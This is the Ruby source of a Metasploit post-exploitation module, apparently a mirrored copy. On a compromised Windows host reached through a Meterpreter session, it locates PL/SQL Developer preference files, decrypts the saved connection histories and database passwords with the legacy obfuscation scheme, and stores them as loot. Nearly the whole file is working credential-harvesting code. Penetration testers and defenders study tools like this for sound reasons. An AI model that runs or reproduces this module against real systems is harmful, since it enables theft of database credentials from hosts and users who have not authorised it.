Files
metasploit-gs/modules/post/windows/gather/credentials/plsql_developer.rb
T
2023-11-08 01:15:22 +08:00

252 lines
7.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather PL/SQL Developer Connection Credentials',
'Description' => %q{
This module can decrypt the histories and connection credentials of PL/SQL Developer,
and passwords are available if the user chooses to remember.
},
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/']
],
'Author' => [
'Adam Caudill', # Discovery
'Jemmy Wang' # msf module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_ls
stdapi_fs_separator
stdapi_fs_stat
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']),
]
)
end
def decrypt_str_legacy(str)
result = ''
key = str[0..3].to_i
for i in 1..(str.length / 4 - 1) do
n = str[(i * 4)..(i * 4 + 3)].to_i
result << (((n - 1000) ^ (key + i * 10)) >> 4).chr
end
return result
end
def decrypt_str(str)
if str == ''
return ''
end
if str.match(/^\d{8,}$/) && str.length % 4 == 0
return decrypt_str_legacy(str)
end
print_warning('The password encryption algorithm has changed since PL/SQL Developer 15 and this module have not supported it.')
return '[Not Supported]'
end
def parse_history(str)
result = { DisplayName: '', Username: '', Database: '', ConnectAs: '', Password: '', Parent: '-1' }
if str.end_with?(' AS SYSDBA')
result[:ConnectAs] = 'SYSDBA'
str = str[0..-11]
elsif str.end_with?(' AS SYSOPER')
result[:ConnectAs] = 'SYSOPER'
str = str[0..-12]
else
result[:ConnectAs] = 'Normal'
end
# Database should be the last part after '@' sign
ind = str.rindex('@')
if ind.nil?
# Unexpected format, just use the whole string as DisplayName
result[:DisplayName] = str
return result
end
result[:Database] = str[(ind + 1)..]
str = str[0..(ind - 1)]
unless str.count('/') == 1
# Unexpected format, just use the whole string as DisplayName
result[:DisplayName] = str
return result
end
result[:Username] = str[0..(str.index('/') - 1)]
result[:Password] = str[(str.index('/') + 1)..]
return result
end
def decrypt_pref(file_name)
file_contents = read_file(file_name)
if file_contents.nil? || file_contents.empty?
print_status "Skipping empty file: #{file_name}"
return []
end
print_status("Decrypting #{file_name}")
result = []
logon_history_section = false
connections_section = false
# Keys that we care about
keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password]
# Initialize obj with empty values
obj = Hash[keys.map { |k| [k.to_sym, ''] }]
# Folders
folders = {}
file_contents.split("\n").each do |line|
line.gsub!(/(\n|\r)/, '')
if line == '[LogonHistory]' && !(logon_history_section || connections_section)
logon_history_section = true
next
elsif line == '[Connections]' && !(logon_history_section || connections_section)
connections_section = true
next
elsif line == ''
logon_history_section = false
connections_section = false
next
end
if logon_history_section
# Contents in [LogonHistory] section is plain encrypted strings
result << parse_history(decrypt_str_legacy(line))
elsif connections_section
# Contents in [Connections] section is key-value pairs
ind = line.index('=')
if ind.nil?
print_error("Invalid line: #{line}")
next
end
key = line[0..(ind - 1)]
value = line[(ind + 1)..]
if key == 'Password'
obj[:Password] = decrypt_str(value)
elsif obj.key?(key.to_sym)
obj[key.to_sym] = value
end
# Color is the last field of a connection
if key == 'Color'
if obj[:IsFolder] != '1'
result << obj
else
folders[obj[:Number]] = obj
end
# Reset obj
obj = Hash[keys.map { |k| [k.to_sym, ''] }]
end
end
end
result.each do |item|
pitem = item
while pitem[:Parent] != '-1'
pitem = folders[pitem[:Parent]]
if pitem.nil?
print_error("Invalid parent: #{item[:Parent]}")
break
end
item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName]
end
# Remove fields used to build the display name
item.delete(:Parent)
item.delete(:Number)
item.delete(:IsFolder)
# Add file path
item[:FilePath] = file_name
end
return result
end
def enumerate_pref(plsql_path)
result = []
pref_dir = plsql_path + session.fs.file.separator + 'Preferences'
session.fs.dir.entries(pref_dir).each do |username|
udir = pref_dir + session.fs.file.separator + username
file_name = udir + session.fs.file.separator + 'user.prefs'
result << file_name if directory?(udir) && file?(file_name)
end
return result
end
def run
print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}")
profiles = grab_user_profiles
pref_paths = []
profiles.each do |user_profiles|
session.fs.dir.entries(user_profiles['AppData']).each do |dirname|
if dirname.start_with?('PLSQL Developer')
search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname
pref_paths += enumerate_pref(search_dir)
end
end
end
pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present?
result = []
pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) }
tbl = Rex::Text::Table.new(
'Header' => 'PL/SQL Developer Histories and Credentials',
'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath']
)
result.each do |item|
tbl << item.values
end
print_line(tbl.to_s)
# Only save data to disk when there's something in the table
if tbl.rows.count > 0
path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials')
print_good("Passwords stored in: #{path}")
end
end
end